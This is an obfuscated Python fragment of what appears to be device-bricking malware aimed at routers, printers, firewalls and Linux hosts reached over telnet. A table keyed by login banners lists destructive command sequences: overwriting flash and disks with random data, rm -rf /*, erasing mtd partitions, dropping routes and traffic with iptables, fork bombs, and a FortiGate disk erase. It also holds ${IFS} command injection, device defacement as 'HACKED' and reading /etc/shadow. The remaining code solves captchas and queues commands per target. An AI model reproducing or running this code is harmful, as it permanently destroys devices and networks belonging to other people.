[ 'vxworks' , '.*' , '(tStdioProxy|IrqDLCS_?CMD_PROCESSOR|ipcom_?telnetspawn|tErfTask|\sstkCommand\s|OnLine help \S press F1)' ,
'td tExcTask;td tJobTask' , '-> ' ,
'td TR069C;td TR069S;td TR069_chk' , '-> ' ,
'td iptftps' , '-> ' ,
'td ipdhcpc' , '-> ' ,
'td ipdhcps' , '-> ' ,
'td ipcom_telnetd' , '-> ' ,
'td ipnetd' , '-> ' ,
] ,
[ 'view' , '.*' , 'type \'sh\', exc[e]?ute shell' ,
'?' , '[#$>] ' ,
'sh' , '[#$>] ' ,
'cat /proc/mounts' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock11 &' , '' ,
'cat /dev/urandom >/dev/mtdblock10 &' , '' ,
'cat /dev/urandom >/dev/mtdblock12 &' , '' ,
'cat /dev/urandom >/dev/root &' , '' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'route del default' , '%WAIT%' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '%WAIT% ' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ 'bocrouter' , '.*' , '(BoC Router|Unknow command)' ,
'runshellcmd' , '>' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '>' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '>' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '>' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '>' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '>' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '>' ,
'route del default' , '>' ,
] ,
[ 'atmos' , '.*' , 'Unrecognized command \Suse \S\?\S to see valid completions' ,
'console enable' , '> ' ,
'flashfs' , '> ' ,
'wipe' , '> ' ,
'home' , '> ' ,
'restart' , '' ,
] ,
[ 'sixpon' , '.*' , 'Enter lazy mode, input \S+ to back, input \S+ to quit' ,
'/' , '[#$>] ' ,
'linuxshell' , '[#$>] ' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '[#$>] ' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '[#$>] ' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '[#$>] ' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '[#$>] ' ,
'route del default' , '[#$>] ' ,
'iptables -F;iptables -t nat -F;iptables -A INPUT -j DROP' , '[#$>] ' ,
] ,
[ 'fortigate' , '.*' , 'Unknown action 0' ,
'execute erase-disk boot' , 'y/n\) ' ,
'y' , 'media\? ' ,
'1' , 'y/n\) ' ,
'n' , '%WAIT%' ,
'execute shutdown' , 'y/n\) ' ,
'y' , '%TERM%' ,
] ,
[ 'cellbug' , '.*' , '% Unknown command,\s+\[\%s' ,
'enable' , '[#$>] ' ,
'configure terminal' , '[#$>] ' ,
'wlanoff' , '[#$>] ' ,
'save' , '[#$>] ' ,
'configure terminal' , '[#$>] ' ,
'cdma-disconnect\nsave' , '[#$>] ' ,
] ,
[ 'quagga' , '.*' , '% Unknown command\.' ,
'?' , '[#$>] ' ,
'enable' , '[#$>] ' ,
'start-shell' , '[#$>] ' ,
'start-shell bash' , '[#$>] ' ,
'fdisk -l' , '[#$>] ' ,
"fdisk -C 1 /dev/mtd0" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$>] ' ,
"fdisk -C 1 /dev/mtd1" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$>] ' ,
"fdisk -C 1 /dev/mtd2" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$>] ' ,
"fdisk -C 1 /dev/mtd3" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$>] ' ,
"fdisk -C 1 /dev/mtd4" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$>] ' ,
"fdisk -C 1 /dev/mtdblock0" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$>] ' ,
"fdisk -C 1 /dev/mtdblock1" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$>] ' ,
"fdisk -C 1 /dev/mtdblock2" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$>] ' ,
"fdisk -C 1 /dev/mtdblock3" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$>] ' ,
"fdisk -C 1 /dev/mtdblock4" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$>] ' ,
"fdisk -C 1 /dev/ram0" , 'm\sfor\shelp\S?: ' ,
"w" , '[#$>] ' ,
'route del default;iproute del default;rm -rf /* 2>/dev/null &' , '[#$>] ' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '[#$>] ' ,
'copy flash `rm${IFS}-rf${IFS}/*${IFS}&` tftp 1.2.3.4' , '' ,
'copy flash `route${IFS}del${IFS}default` tftp 1.2.3.4' , '[#$>] ' ,
'configure terminal' , '[#$>] ' ,
'username %OLDUSER% %NEWPASS%' , '[#$>] ' ,
'user administrator admin disable' , '[#$>] ' ,
'restore factory_setting' , '[#$>] ' ,
'restore factory_defaults' , '[#$>] ' ,
'exit' , '[#$>] ' ,
] ,
[ "qtech" , ".*" , '>\s+restoredefault\s+restore the device settings to the factory defaults and reboot' ,
'model' , '[#$>] ' ,
'arp' , '[#$>] ' ,
'restoredefault' , '%WAIT%' ,
] ,
[ 'ricoh' , '.*' , 'msh> ' ,
'devicename name HACKED' , 'msh> ' ,
'ifconfig' , 'msh> ' ,
'ifconfig ether 10.1.2.3' , 'msh> ' ,
'ifconfig ether netmask 255.255.255.254' , 'msh> ' ,
'route add default 10.1.2.2' , 'msh> ' ,
'dhcp ether off' , 'msh> ' ,
'hostname ether name PRINTER-HACKED' , 'msh> ' ,
'logout' , '> ' ,
'yes' , 'Save' ,
] ,
[ "busybox" , "root/5up" , 'BusyBox\sv' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'route del default;iproute del default;rm -rf /* 2>/dev/null &' , '%WAIT%' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '[#$] ' ,
"reboot" , '[#$] ' ,
] ,
[ "busybox" , "root/BUSYBOXBLANK" , '' ,
'mtd_write erase mtd0 &' , '' ,
'mtd_write erase mtd1 &' , '' ,
'mtd_write erase mtd2' , '' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'cat /dev/urandom >/dev/mtdblock8 &' , '' ,
'cat /dev/urandom >/dev/mtdblock9 &' , '' ,
'cat /dev/urandom >/dev/root &' , '' ,
'route del default;iproute del default;rm -rf /* 2>/dev/null &' , '%WAIT%' ,
"sysctl -w net.ipv4.tcp_timestamps=0" , '[#$] ' ,
"sysctl -w kernel.threads-max=1" , '%WAIT%' ,
"halt -n -f" , '[#$] ' ,
"reboot" , '[#$] ' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ 'reosguest' , 'guest/.*' , 'ReOS.*UTT' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ "busybox" , ".*" , 'BusyBox\sv' ,
'mtd_write erase mtd0 &' , '' ,
'mtd_write erase mtd1 &' , '' ,
'mtd_write erase mtd2' , '' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'cat /dev/urandom >/dev/mtdblock8 &' , '' ,
'cat /dev/urandom >/dev/root &' , '' ,
'cat /dev/urandom >/dev/mtdblock16 &' , '' ,
'route del default;iproute del default;rm -rf /* 2>/dev/null &' , '%WAIT%' ,
"sysctl -w net.ipv4.tcp_timestamps=0" , '[#$] ' ,
"sysctl -w kernel.threads-max=1" , '%WAIT%' ,
"halt -n -f" , '[#$] ' ,
"reboot" , '[#$] ' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ "busybox" , ".*" , 'ls:\sillegal\soption\s\-\-\sF' ,
'mtd_write erase mtd0 &' , '' ,
'mtd_write erase mtd1 &' , '' ,
'mtd_write erase mtd2' , '' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'cat /dev/urandom >/dev/mtdblock8 &' , '' ,
'cat /dev/urandom >/dev/root &' , '' ,
'cat /dev/urandom >/dev/mtdblock16 &' , '' ,
'route del default;iproute del default;rm -rf /* 2>/dev/null &' , '%WAIT%' ,
"sysctl -w net.ipv4.tcp_timestamps=0" , '[#$] ' ,
"sysctl -w kernel.threads-max=1" , '%WAIT%' ,
"halt -n -f" , '[#$] ' ,
"reboot" , '[#$] ' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ 'misid' , ".*" , 'SYSTEM.HACKED.PLEASE.REINSTALL' ,
'su root' , '[#$>] ' ,
'uptime' , '' ,
'cat /etc/motd' , '' ,
'fdisk -l' , '' ,
'df' , '' ,
'dd if=/dev/urandom of=/dev/sda &' , '' ,
'dd if=/dev/urandom of=/dev/sda1 &' , '' ,
'dd if=/dev/urandom of=/dev/sda2 &' , '' ,
'dd if=/dev/urandom of=/dev/sda3 &' , '' ,
'dd if=/dev/urandom of=/dev/sda4 &' , '' ,
'dd if=/dev/urandom of=/dev/sdb &' , '' ,
'dd if=/dev/urandom of=/dev/mtd0 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd1 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd2 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd3 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock0 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock1 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock2 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock3 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock4 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock5 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock6 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock7 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/hda1 &' , '' ,
'dd if=/dev/urandom of=/dev/hdb1 &' , '' ,
'dd if=/dev/urandom of=/dev/root &' , '' ,
'dd if=/dev/urandom of=/dev/ram0 &' , '' ,
'dd if=/dev/urandom of=/dev/mmcblk0 &' , '' ,
'dd if=/dev/urandom of=/dev/mmcblk0p1 &' , '' ,
'cat /dev/urandom >/dev/sda &' , '' ,
'cat /dev/urandom >/dev/sda1 &' , '' ,
'cat /dev/urandom >/dev/sda2 &' , '' ,
'cat /dev/urandom >/dev/sda3 &' , '' ,
'cat /dev/urandom >/dev/sda4 &' , '' ,
'cat /dev/urandom >/dev/sdb &' , '' ,
'cat /dev/urandom >/dev/mtd0 &' , '' ,
'cat /dev/urandom >/dev/mtd1 &' , '' ,
'cat /dev/urandom >/dev/mtd2 &' , '' ,
'cat /dev/urandom >/dev/mtd3 &' , '[#$>] ' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'cat /dev/urandom >/dev/hda1 &' , '' ,
'cat /dev/urandom >/dev/hdb1 &' , '' ,
'cat /dev/urandom >/dev/root &' , '' ,
'cat /dev/urandom >/dev/ram0 &' , '' ,
'cat /dev/urandom >/dev/mmcblk0 &' , '' ,
'cat /dev/urandom >/dev/mmcblk0p1 &' , '' ,
'route del default;iproute del default;rm -rf /* 2>/dev/null &' , '' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '%WAIT% ' ,
'd(){ d|d & };d 2>/dev/null' , '[#$>] ' ,
'sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1' , '%WAIT% ' ,
'halt -n -f' , '[#$>] ' ,
'reboot' , '[#$>] ' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ "linux" , ".*" , '(Linux\s\S+\s\d\.\d|hAjUCNM1)' ,
'su root' , '[#$>] ' ,
'uptime' , '' ,
'cat /etc/motd' , '' ,
'fdisk -l' , '' ,
'df' , '' ,
'dd if=/dev/urandom of=/dev/sda &' , '' ,
'dd if=/dev/urandom of=/dev/sda1 &' , '' ,
'dd if=/dev/urandom of=/dev/sda2 &' , '' ,
'dd if=/dev/urandom of=/dev/sda3 &' , '' ,
'dd if=/dev/urandom of=/dev/sda4 &' , '' ,
'dd if=/dev/urandom of=/dev/sdb &' , '' ,
'dd if=/dev/urandom of=/dev/mtd0 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd1 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd2 &' , '' ,
'dd if=/dev/urandom of=/dev/mtd3 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock0 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock1 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock2 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock3 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock4 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock5 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock6 &' , '' ,
'dd if=/dev/urandom of=/dev/mtdblock7 &' , '[#$>] ' ,
'dd if=/dev/urandom of=/dev/hda1 &' , '' ,
'dd if=/dev/urandom of=/dev/hdb1 &' , '' ,
'dd if=/dev/urandom of=/dev/root &' , '' ,
'dd if=/dev/urandom of=/dev/ram0 &' , '' ,
'dd if=/dev/urandom of=/dev/mmcblk0 &' , '' ,
'dd if=/dev/urandom of=/dev/mmcblk0p1 &' , '' ,
'cat /dev/urandom >/dev/sda &' , '' ,
'cat /dev/urandom >/dev/sda1 &' , '' ,
'cat /dev/urandom >/dev/sda2 &' , '' ,
'cat /dev/urandom >/dev/sda3 &' , '' ,
'cat /dev/urandom >/dev/sda4 &' , '' ,
'cat /dev/urandom >/dev/sdb &' , '' ,
'cat /dev/urandom >/dev/mtd0 &' , '' ,
'cat /dev/urandom >/dev/mtd1 &' , '' ,
'cat /dev/urandom >/dev/mtd2 &' , '' ,
'cat /dev/urandom >/dev/mtd3 &' , '[#$>] ' ,
'cat /dev/urandom >/dev/mtdblock0 &' , '' ,
'cat /dev/urandom >/dev/mtdblock1 &' , '' ,
'cat /dev/urandom >/dev/mtdblock2 &' , '' ,
'cat /dev/urandom >/dev/mtdblock3 &' , '' ,
'cat /dev/urandom >/dev/mtdblock4 &' , '' ,
'cat /dev/urandom >/dev/mtdblock5 &' , '' ,
'cat /dev/urandom >/dev/mtdblock6 &' , '' ,
'cat /dev/urandom >/dev/mtdblock7 &' , '' ,
'cat /dev/urandom >/dev/hda1 &' , '' ,
'cat /dev/urandom >/dev/hdb1 &' , '' ,
'cat /dev/urandom >/dev/root &' , '' ,
'cat /dev/urandom >/dev/ram0 &' , '' ,
'cat /dev/urandom >/dev/mmcblk0 &' , '' ,
'cat /dev/urandom >/dev/mmcblk0p1 &' , '' ,
'route del default;iproute del default;rm -rf /* 2>/dev/null &' , '' ,
'iptables -F;iptables -t nat -F;iptables -A OUTPUT -j DROP' , '%WAIT% ' ,
'd(){ d|d & };d 2>/dev/null' , '[#$>] ' ,
'sysctl -w net.ipv4.tcp_timestamps=0;sysctl -w kernel.threads-max=1' , '%WAIT% ' ,
'halt -n -f' , '[#$>] ' ,
'reboot' , '[#$>] ' ,
'd(){ d|d & };d' , '%TERM%' ,
] ,
[ "telnet" , ".*" , ".*" ,
"cat /etc/shadow" , '[#$>] ' ,
] ,
]
if 71 - 71: Ii % Ii11i1iIi
if 57 - 57: Oo0Oo + oOoO0Ooo - IIiIii1iI - Oo0 - Ii11i1iIi * Ii
if 39 - 39: IIiII . oOoO0Ooo / OOOoOooO - Ii11i1iIi
O0O = "SPLTX"
if 100 - 100: Ii
if 72 - 72: IIiIIiIii1I
if 79 - 79: OOOoOooO / Oo0 % oOOo0000o * i1 - o0ooO
i1IIII11I = [ ]
IiIi = { }
o0oO0o = { }
O0Oo = { }
O0OO0oOoO0O00 = { }
iiI1iIi1Ii1Iii = { }
ooOo0 = { }
iIiO00000o = { }
Oo000o = { }
o0O00ooo00OOo = { }
IIi1ii1iI11I1 = { }
OoOoO0o000 = { }
oooo00O = { }
if 95 - 95: Oo0 . OOOoOooO - i1IIi1i1iiI . o0oooooO
if 11 - 11: I11I1Ii * Oo0 / IIiIii1iI - IIiIIiIii1I . IIiII
ooooo0OOo0o = [ ]
IIIi1iI1111Ii = { }
OOOOoO00oOoO = { }
O0o = { }
I1IiIii1I1 = { }
i11i1iIIii = { }
i1O00o0O = { }
iIi1ii1I = { }
O0o0iI = { }
if 92 - 92: OOooOO0 / o0ooO - O0oo - i1IIi1i1iiI - o0ooO
if 53 - 53: oOOoO00oo0 % oOoO0Ooo % i1IIi1i1iiI % Oo0Oo
def I1ii11 ( parsematrix , maxx , maxy ) :
if 11 - 11: oOoO0Ooo . o0oooooO / Ii - OOOoOooO
if 17 - 17: OOooOO0 - IIiII . i1IIi1i1iiI . IIiIIiIii1I * i1IIi1i1iiI % Ii
for iIIiIIi11i in range ( maxy ) :
for OO00 in range ( maxx ) :
if not OO00 in parsematrix [ iIIiIIi11i ] :
parsematrix [ iIIiIIi11i ] [ OO00 ] = ' '
if 48 - 48: Ii . i1IIi1i1iiI * IIiII * i1 - O0oo + o0oooooO
if 85 - 85: Ii11i1iIi / IIiII * o0oooooO
if 95 - 95: oOOo0000o % I11I1Ii
i1I1I1i1i1i = [ ]
for iIIiIIi11i in range ( maxy ) :
O00o0000 = 0
OoOo0Oo000o = 0
O0Oi11IiIi1i = 0
for OO00 in range ( maxx ) :
if parsematrix [ iIIiIIi11i ] [ OO00 ] != ' ' and parsematrix [ iIIiIIi11i ] [ OO00 ] != '\t' :
if OO00 == 0 :
O00o0000 = 1
if OO00 == maxx - 1 :
OoOo0Oo000o = 1
if OO00 == int ( ( maxx - 1 ) / 2 ) :
O0Oi11IiIi1i = 1
if OO00 == int ( ( maxx - 1 ) / 2 ) + 1 :
O0Oi11IiIi1i = 1
i1iiI1 = ""
if O00o0000 :
i1iiI1 += 'L'
if OoOo0Oo000o :
i1iiI1 += 'R'
if O0Oi11IiIi1i :
i1iiI1 += 'M'
i1I1I1i1i1i . append ( i1iiI1 )
if 55 - 55: OOOoOooO
if i1I1I1i1i1i [ 0 ] == 'LRM' and i1I1I1i1i1i [ maxy - 1 ] == 'LRM' and i1I1I1i1i1i [ 1 ] == 'LR' and i1I1I1i1i1i [ maxy - 2 ] == 'LR' and i1I1I1i1i1i [ int ( ( maxy - 1 ) / 2 ) ] == 'LR' and i1I1I1i1i1i [ int ( ( maxy - 1 ) / 2 ) + 1 ] == 'LR' :
return "0"
if i1I1I1i1i1i [ 0 ] == 'M' and i1I1I1i1i1i [ maxy - 1 ] == 'LRM' and i1I1I1i1i1i [ 1 ] == 'M' and i1I1I1i1i1i [ maxy - 2 ] == 'M' :
return "1"
if i1I1I1i1i1i [ 0 ] == 'LRM' and i1I1I1i1i1i [ maxy - 1 ] == 'LRM' and i1I1I1i1i1i [ 1 ] == 'R' and i1I1I1i1i1i [ maxy - 2 ] == 'L' :
return "2"
if i1I1I1i1i1i [ 0 ] == 'LRM' and i1I1I1i1i1i [ maxy - 1 ] == 'LRM' and i1I1I1i1i1i [ 1 ] == 'R' and i1I1I1i1i1i [ maxy - 2 ] == 'R' :
return "3"
if i1I1I1i1i1i [ 0 ] == 'LR' and i1I1I1i1i1i [ maxy - 1 ] == 'R' and i1I1I1i1i1i [ 1 ] == 'LR' and i1I1I1i1i1i [ maxy - 2 ] == 'R' :
return "4"
if i1I1I1i1i1i [ 0 ] == 'LRM' and i1I1I1i1i1i [ maxy - 1 ] == 'LRM' and i1I1I1i1i1i [ 1 ] == 'L' and i1I1I1i1i1i [ maxy - 2 ] == 'R' :
return "5"
if i1I1I1i1i1i [ 0 ] == 'LRM' and i1I1I1i1i1i [ maxy - 1 ] == 'LRM' and i1I1I1i1i1i [ 1 ] == 'L' and i1I1I1i1i1i [ maxy - 2 ] == 'LR' :
return "6"
if i1I1I1i1i1i [ 0 ] == 'LRM' and i1I1I1i1i1i [ maxy - 1 ] == 'R' and i1I1I1i1i1i [ 1 ] == 'R' and i1I1I1i1i1i [ maxy - 2 ] == 'R' :
return "7"
if i1I1I1i1i1i [ 0 ] == 'LRM' and i1I1I1i1i1i [ maxy - 1 ] == 'LRM' and i1I1I1i1i1i [ 1 ] == 'LR' and i1I1I1i1i1i [ maxy - 2 ] == 'LR' and ( i1I1I1i1i1i [ int ( ( maxy - 1 ) / 2 ) ] == 'LRM' or i1I1I1i1i1i [ int ( ( maxy - 1 ) / 2 ) + 1 ] == 'LRM' ) :
return "8"
if i1I1I1i1i1i [ 0 ] == 'LRM' and i1I1I1i1i1i [ maxy - 1 ] == 'LRM' and i1I1I1i1i1i [ 1 ] == 'LR' and i1I1I1i1i1i [ maxy - 2 ] == 'R' :
return "9"
return "-" ;
if 57 - 57: OOooOO0 - i1IIi1i1iiI % Oooo
if 57 - 57: OOOoOooO
if 18 - 18: I11I1Ii + oOoO0Ooo . O0oo - IIiIii1iI / o0ooO + OOOoOooO
time . sleep ( 3 )
if 70 - 70: IIiIii1iI % IIiIIiIii1I / Oooo
def i1o0o0O00O ( captcha ) :
ooOO00oOo = ""
II11oOoOOOOOO = [ ]
for III1I in captcha . split ( '\n' ) :
III1I = III1I . split ( '\r' ) [ 0 ]
if '===========' in III1I :
continue
if re . search ( '[A-Za-z]' , III1I ) :
continue
if not re . search ( '\s.*\s.*\s.*\s.*\s.*\s.*\s.*\s.*\s.*\s' , III1I ) :
continue
II11oOoOOOOOO . append ( III1I )
if 35 - 35: oOOoO00oo0 + Oo0 / O0oo0OOOOO00
if 18 - 18: IIiIIiIii1I + IIiII / oOOoO00oo0
ii1i11iIii1I1i = len ( II11oOoOOOOOO )
if ii1i11iIii1I1i < 5 :
return - 1
OoOO00 = 0
i1I1Ii = { }
iIIiIIi11i = 0
if 98 - 98: i1 / oOOo0000o . oOoO0Ooo
for III1I in II11oOoOOOOOO :
i1I1Ii [ iIIiIIi11i ] = { }
OO00 = 0
for OOO0OOOoo in III1I :
i1I1Ii [ iIIiIIi11i ] [ OO00 ] = OOO0OOOoo
OO00 += 1
if OO00 > OoOO00 :
OoOO00 = OO00
if 23 - 23: O0oo % Oooo + o0oooooO / O0oo0OOOOO00
iIIiIIi11i += 1
if 64 - 64: IIiIIiIii1I
if 47 - 47: IIiIii1iI + O0oo0OOOOO00
for iIIiIIi11i in range ( ii1i11iIii1I1i ) :
for OO00 in range ( OoOO00 ) :
if not OO00 in i1I1Ii [ iIIiIIi11i ] :
i1I1Ii [ iIIiIIi11i ] [ OO00 ] = ' '
if 22 - 22: OOOoOooO . Oo0Oo
if 69 - 69: oOOo0000o * i1IIi1i1iiI + i1IIi1i1iiI * OOOoOooO + Oo0Oo
if 2 - 2: IIiIIiIii1I . Oo0 % OOOoOooO * O0oo0OOOOO00 % o0ooO - IIiIIiIii1I
ii1II = { }
for OO00 in range ( OoOO00 ) :
oO0OOoo0 = 1
for iIIiIIi11i in range ( ii1i11iIii1I1i ) :
if 2 - 2: OOooOO0 * o0oooooO + IIiII * o0ooO / Ii11i1iIi
if 28 - 28: Ii11i1iIi . o0ooO - O0oo0OOOOO00
if i1I1Ii [ iIIiIIi11i ] [ OO00 ] != ' ' and i1I1Ii [ iIIiIIi11i ] [ OO00 ] != '\t' :
oO0OOoo0 = 0
break
elif i1I1Ii [ iIIiIIi11i ] [ OO00 ] == ' ' or i1I1Ii [ iIIiIIi11i ] [ OO00 ] == '\t' :
pass
if 45 - 45: oOoO0Ooo + Oo0 . oOOoO00oo0 - i1IIi1i1iiI
if 2 - 2: Ii . Oo0 + IIiIii1iI + i1IIi1i1iiI + IIiIIiIii1I + IIiIIiIii1I
ii1II [ OO00 ] = oO0OOoo0
if 83 - 83: IIiII % IIiIIiIii1I % Ii11i1iIi * oOOo0000o
if 54 - 54: I11I1Ii % I11I1Ii + oOOo0000o . IIiIii1iI + o0oooooO - IIiII
if 73 - 73: oOOoO00oo0 / O0oo0OOOOO00
ooOOOOOOO0o00 = - 1
OoIi = - 1
OO00 = 0
while ( OO00 < OoOO00 ) :
if ii1II [ OO00 ] == 0 :
ooOOOOOOO0o00 = OO00
OO00 += 1
while OO00 < OoOO00 - 1 :
if ii1II [ OO00 ] == 1 and ii1II [ OO00 + 1 ] == 1 :
if 21 - 21: O0oo0OOOOO00 - o0oooooO . Ii . O0oo0OOOOO00
OoIi = OO00
Iii111iI111I11 = { }
OoOoo0OooO0o = 0
for iii1i1I111i111 in range ( ii1i11iIii1I1i ) :
Iii111iI111I11 [ iii1i1I111i111 ] = { }
oOoOO = 0
for ooOO0000O in range ( OoIi - ooOOOOOOO0o00 ) :
if ii1II [ ooOO0000O + ooOOOOOOO0o00 ] == 1 :
continue
Iii111iI111I11 [ iii1i1I111i111 ] [ oOoOO ] = i1I1Ii [ iii1i1I111i111 ] [ ooOO0000O + ooOOOOOOO0o00 ]
oOoOO += 1
if oOoOO > OoOoo0OooO0o :
OoOoo0OooO0o = oOoOO
if 83 - 83: oOOoO00oo0
ooOO00oOo += I1ii11 ( Iii111iI111I11 , OoOoo0OooO0o , ii1i11iIii1I1i )
ooOOOOOOO0o00 = - 1
OoIi = - 1
break
OO00 += 1
OO00 += 1
return ooOO00oOo
if 52 - 52: i1IIi1i1iiI . oOoO0Ooo - IIiIii1iI
def OoO00Ooo0OoOo0O0Oo ( targetip , targetport , bannerhint ) :
global i1I1
global OoO0
global ooo0o00O00
global i1I1iIIi1
if not OOoOo00oO0 :
return
O0000oO0O = ( targetip , int ( targetport ) )
o00O0OoOoo = hash ( O0000oO0O )
if o00O0OoOoo in ooooo0OOo0o :
if 83 - 83: Ii / Oo0Oo * IIiII % Oo0Oo
return
if 18 - 18: OOOoOooO - Oooo + o0oooooO + O0oo - OOooOO0
i11i1iIIii [ o00O0OoOoo ] = 0
i1O00o0O [ o00O0OoOoo ] = [ ]
if 69 - 69: OOooOO0 * O0oo
if 99 - 99: I11I1Ii - oOOoO00oo0 . IIiIii1iI - oOOoO00oo0 / o0oooooO . IIiII
if 20 - 20: Ii11i1iIi - oOOoO00oo0
for I1I1iIIi11I in i1I1iIIi1 :
if 14 - 14: oOoO0Ooo - i1
if re . search ( I1I1iIIi11I [ 0 ] , bannerhint ) :
if 59 - 59: Ii11i1iIi
i1O00o0O [ o00O0OoOoo ] += I1I1iIIi11I [ 1 : ]
if targetport != 4719 :
i1O00o0O [ o00O0OoOoo ] . append ( OoO0 )
for I1I1iIIi11I in ooo0o00O00 :
if 14 - 14: oOOo0000o - Oo0
if re . search ( I1I1iIIi11I [ 0 ] , bannerhint ) :
if 47 - 47: IIiII / o0oooooO - i1
i1O00o0O [ o00O0OoOoo ] += I1I1iIIi11I [ 1 : ]
if 11 - 11: oOOoO00oo0 - IIiIIiIii1I . i1IIi1i1iiI
if len ( i1O00o0O [ o00O0OoOoo ] ) > 7 :
while ( len ( i1O00o0O [ o00O0OoOoo ] ) < i1I1 ) :
i1O00o0O [ o00O0OoOoo ] . append ( random . choice ( iiIO0OOoo ) )
else :
if 12 - 12: i1IIi1i1iiI . oOOoO00oo0 % IIiIIiIii1I + I11I1Ii + IIiIIiIii1I / i1
i1O00o0O [ o00O0OoOoo ] += I1IIiI1i
if 37 - 37: i1 % oOOo0000o
while ( len ( i1O00o0O [ o00O0OoOoo ] ) < i1I1 ) :
i1O00o0O [ o00O0OoOoo ] . append ( random . choice ( iiIO0OOoo ) )
if 71 - 71: oOOoO00oo0 % O0oo
if 21 - 21: O0oo0OOOOO00 + Ii + Oo0 . Ii
IIIi1iI1111Ii [ o00O0OoOoo ] = ( targetip , int ( targetport ) , bannerhint )
OOOOoO00oOoO [ o00O0OoOoo ] = 0
O0o [ o00O0OoOoo ] = None
I1IiIii1I1 [ o00O0OoOoo ] = ""
iIi1ii1I [ o00O0OoOoo ] = 0
O0o0iI [ o00O0OoOoo ] = ""
ooooo0OOo0o . append ( o00O0OoOoo )
if 39 - 39: Oo0 % i1
